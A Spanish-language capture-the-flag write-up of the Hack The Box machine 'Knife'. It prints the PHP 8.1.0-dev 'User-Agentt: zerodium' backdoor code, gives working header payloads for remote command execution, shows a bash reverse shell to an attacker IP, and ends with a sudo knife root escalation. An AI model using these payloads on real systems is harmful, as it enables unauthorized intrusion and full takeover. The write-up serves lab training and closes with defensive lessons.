Resumen Ejecutivo
Knife es una máquina Linux de dificultad fácil que se compromete explotando una vulnerabilidad de puerta trasera en una versión de desarrollo de PHP. El vector de entrada inicial no requiere autenticación y otorga acceso inmediato al sistema como un usuario común. Posteriormente, la escalada de privilegios se logra abusando de una configuración permisiva en los privilegios de sudo, la cual permite ejecutar la herramienta de administración de configuración knife con derechos de superusuario, permitiendo la ejecución directa de una consola como root.
Enumeración
# Iniciar máquina creando el entorno de trabajo y añadir el dominio
# https://github.com/jquirozz/custom-scripts/blob/main/htb.sh
┌──(blog㉿jquirozz.com)-[~]
└─$ htb knife 10.129.12.219
[*] Pinging box...
[*] Adding knife.htb to /etc/hosts...
[*] Preparing work directory...
[*]-----------------------------------------[*]
Box Name : knife
Box OS : Linux (TTL 63)
RHOST : 10.129.12.219
LHOST : 10.10.15.11
Workdir : /home/blog/htb/knife
[*]-----------------------------------------[*]
# Escanear en busca de puertos abiertos
# [-p-] Escanear los 65535 puertos
# [-n] Desactivar resolución DNS
# [-sS] Escaneo TCP SYN
# [-Pn] Omitir el descubrimiento de host
# [--min-rate=1000] Enviar al menos 1000 paquetes por segundo
# [-oG] Guardar el output en formato Grepeable
┌──(blog㉿jquirozz.com)-[~/htb/knife]
└─$ sudo nmap -p- -n -sS -Pn --min-rate=1000 $RHOST -oG nmap/ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Extraer puertos abiertos
# https://github.com/jquirozz/custom-scripts/blob/main/extract.sh
┌──(blog㉿jquirozz.com)-[~/htb/knife]
└─$ extract nmap/ports
[*] Open ports: 22,80
[*] Ports copied to clipboard
# Ejecutar scripts de reconocimiento y detección de versiones en los puertos abiertos
# [-sC] Ejecutar scripts por defecto
# [-sV] Enumerar versiones de los servicios
# [-oN] Guardar el output en formato Nmap normal
┌──(blog㉿jquirozz.com)-[~/htb/knife]
└─$ sudo nmap -p22,80 -sCV --min-rate=1000 $RHOST -oN nmap/scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Emergent Medical Idea
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
# Identificar las tecnologías y versiones del servidor web
# [>] Redireccionar la salida estándar para guardarla en un archivo
┌──(blog㉿jquirozz.com)-[~/htb/knife]
└─$ whatweb $RHOST:80 > scans/whatweb
http://10.129.12.219 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ],
HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.12.219],
PHP[8.1.0-dev], Script, Title[Emergent Medical Idea], X-Powered-By[PHP/8.1.0-dev]
Vulnerabilidad PHP
| Parámetro | Detalle |
|---|---|
| Tipo de Fallo | Ejecución Remota de Código / Backdoor Implícito |
| Componente | Rama de desarrollo de PHP |
| Versiones Afectadas | PHP 8.1.0-dev |
| Vector de Ataque | Encabezado HTTP Modificado User-Agentt |
| Autenticación | No requerida |
Contexto Histórico
En marzo de 2021, atacantes maliciosos lograron comprometer el servidor Git oficial de PHP e introdujeron una puerta trasera directamente en el código fuente del lenguaje. El cambio malicioso consistía en buscar un encabezado HTTP específico y ejecutar cualquier comando que viniera dentro de él.
Código vulnerable
if (ztrmatch(request->headers, "User-Agentt", "zerodium")) {
zend_eval_string(request->headers["User-Agentt"] + 8);
}
- Mecanismo: El servidor web busca la presencia exacta del encabezado
User-Agentt. Si la cadena comienza con la palabra clavezerodium, el intérprete de PHP toma todo el texto que sigue después y lo procesa internamente como un comando del sistema. - Impacto: Permite a cualquier atacante remoto ejecutar comandos arbitrarios del sistema operativo con los mismos privilegios bajo los que corre el servidor web, en este caso, el usuario james.
Explotación con BurpSuite
-
Abrir el navegador integrado: Ir a la pestaña
Proxy -> Intercepty hacer clic en el botónOpen Browserpara lanzar el navegador propio de Burp Suite. -
Navegar al objetivo: Introducir la URL de la máquina objetivo en el navegador web recién abierto.
-
Enviar al Repeater: Regresar a Burp Suite, hacer clic derecho sobre la petición capturada y seleccionar
Send to Repeatero usarCTRL + R. -
Modificar los encabezados: Ir a la pestaña
Repeatery añadir el encabezado maliciosoUser-Agenttcon la palabra clave zerodium seguida de la función PHP.

# Enviar el comando 'id' a través del encabezado modificado en Burp Suite
Burpsuite-Header$ User-Agentt: zerodiumsystem("id");
uid=1000(james) gid=1000(james) groups=1000(james)
# Ping!
Burpsuite-Header$ User-Agentt: zerodiumsystem("cat ~/user.txt");
a5****************************5b
Escalada de Privilegios
# Enumerar comandos permitidos para ejecutar como superusuario mediante sudo
# [-l] Listar los privilegios permitidos para el usuario actual
Burpsuite-Header$ User-Agentt: zerodiumsystem("sudo -l");
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
# Comprobar la naturaleza y ruta real del binario permitido
# [-l] Mostrar el formato de listado largo con permisos y enlaces simbólicos
Burpsuite-Header$ User-Agentt: zerodiumsystem("ls -l /usr/bin/knife");
lrwxrwxrwx 1 root root 31 May 7 2021 /usr/bin/knife -> /opt/chef-workstation/bin/knife
# Verificar la versión actual de knife
Burpsuite-Header$ User-Agentt: zerodiumsystem("/usr/bin/knife --version");
Chef Infra Client: 16.10.8
# Poner un oyente Netcat a la escucha para recibir la shell
# [-n] No resolver DNS
# [-v] Verbose
# [-l] Modo escucha
# [-p] Puerto a escuchar
┌──(blog㉿jquirozz.com)-[~/htb/knife]
└─$ nc -nvlp 4444
# Ejecutar una reverse shell interactiva de Bash hacia nuestra máquina atacante
Burpsuite-Header$ User-Agentt: zerodiumsystem("bash -c 'bash -i >& /dev/tcp/10.10.15.11/4444 0>&1'");
# Forzar la creación de una sesión de terminal simulada (pty) ejecutando Bash
james@knife:/$ script /dev/null -c bash
# [CTRL + Z] Suspender temporalmente Netcat para regresar a la máquina atacante
james@knife:/$ ^Z
zsh: suspended nc -nvlp 4444
# Configurar la terminal local en modo raw y traer la shell a primer plano
┌──(blog㉿jquirozz.com)-[~/htb/knife]
└─$ stty raw -echo; fg
[1] + continued nc -nvlp 4444
# Reiniciar la configuración de la terminal en la máquina víctima
james@knife:/$ reset xterm
# Configurar la variable TERM para habilitar soporte de 256 colores
james@knife:/$ export TERM=xterm-256color
# Definir Bash como el entorno de comandos predeterminado
james@knife:/$ export SHELL=bash
# Ajustar las dimensiones de las filas y columnas de la terminal remota
james@knife:/$ stty rows 38 columns 151
# Elevar privilegios abusando de la utilidad knife
# [-E] Evaluar código Ruby
# [exec('/bin/bash')] Reemplazar el proceso actual invocando un intérprete Bash
james@knife:/$ sudo knife exec -E "exec('/bin/bash')"
# Identificar el UID, GID y grupos de root
root@knife:/# id
uid=0(root) gid=0(root) groups=0(root)
# Pong!
root@knife:/# cat /root/root.txt
2d****************************29
Lecciones Aprendidas
-
Evitar software de desarrollo en producción: La versión
PHP 8.1.0-devnunca debió ser expuesta en un entorno activo o de producción. Las ramas de desarrollo-devsuelen contener código experimental, herramientas de depuración o, en este caso histórico particular, código comprometido en su repositorio oficial antes de ser detectado. Siempre se deben emplear versiones estables y firmadas oficialmente. -
Principio de menor privilegio en Sudoers: Permitir que un usuario ejecute herramientas como
knifemediantesudosin contraseña representa un riesgo crítico si dicha herramienta posee funciones nativas de ejecución de código o scripts de forma interactiva. Si su uso es estrictamente necesario, el acceso a la máquina debe estar fuertemente restringido o limitado a scripts específicos no modificables.